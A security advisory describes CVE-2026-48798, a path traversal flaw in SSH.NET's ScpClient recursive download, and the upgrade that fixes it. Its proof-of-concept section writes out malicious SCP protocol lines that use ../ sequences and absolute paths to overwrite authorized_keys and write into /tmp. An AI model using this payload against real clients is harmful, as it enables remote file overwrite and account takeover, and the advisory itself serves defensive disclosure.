CVE-2026-48798: SSH.NET ScpClient Recursive Download Path Traversal
A malicious or man-in-the-middle SCP server can trick the SSH.NET client into writing files anywhere on the local filesystem by returning directory entries with path-traversal sequences in their…

The problem
ScpClient.Download(string directoryName, DirectoryInfo directoryInfo) in SSH.NET <= 2025.1.0 writes files and directories using names sent by the remote SCP server with no validation that the resolved local path stays inside the requested destination directory.
A malicious, compromised, or MITM SCP server can return filenames containing ../ sequences or absolute paths. This lets the server write or overwrite arbitrary files anywhere the client process has permission, including ~/.ssh/authorized_keys, shell RC files, cron jobs, or application binaries.
Proof of concept
A working proof-of-concept for CVE-2026-48798 in SSH.NET, with the exact payload below.
# Malicious SCP server sends this protocol stream during a recursive download.
# The SCP sink protocol: each directory entry is introduced by a 'D' line,
# each file by a 'C' line, with the name field as the last token.
#
# Normal (safe) entry:
# D0755 0 subdir\n
# C0644 13 hello.txt\n
#
# Malicious entries that exploit the missing path check:
# 1. Relative traversal - writes into a sibling directory:
D0755 0 ../evil-dir
C0644 29 ../evil-dir/payload.sh
<file contents: malicious shell script>
# 2. Absolute path - writes directly to an arbitrary location:
C0644 29 /home/victim/.ssh/authorized_keys
<file contents: attacker public key>
# 3. Deep traversal - overwrites system binary (if process is privileged):
D0755 0 ../../../../../../tmp
C0644 7 ../../../../../../tmp/pwnedThe SCP sink loop in ScpClient reads the name token from each 'C' (file) and 'D' (directory) protocol line and directly combines it with the local destination path using Path.Combine. Path.Combine on .NET silently discards all preceding components when it encounters an absolute-path segment, and ../ sequences are never normalised or checked against the base directory, so either form escapes the intended tree.
The fix in commit 600be0de adds a validation step after constructing the candidate local path: it resolves the full path and checks that it starts with the canonical destination directory path, throwing ScpException if it does not. This is the same class of bug as OpenSSH CVE-2019-6111 (server-controlled SCP filenames on recursive download), which the advisory explicitly references.
The fix
Upgrade SSH.NET (NuGet package SSH.NET) to version 2026.0.0 or later. The patched release validates every server-supplied name and throws ScpException on any path that would resolve outside the intended local directory. There is no configuration workaround in older versions; avoid using ScpClient.Download with untrusted SCP servers until patched.
Related research
- high · 7.1CVE-2026-59867CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution
- highCVE-2026-59863CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write
- highCVE-2026-59866CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info
- criticalCVE-2026-59864CVE-2026-59864: Microsoft.OpenApi.Kiota Path Traversal via x-ai-* OpenAPI Extensions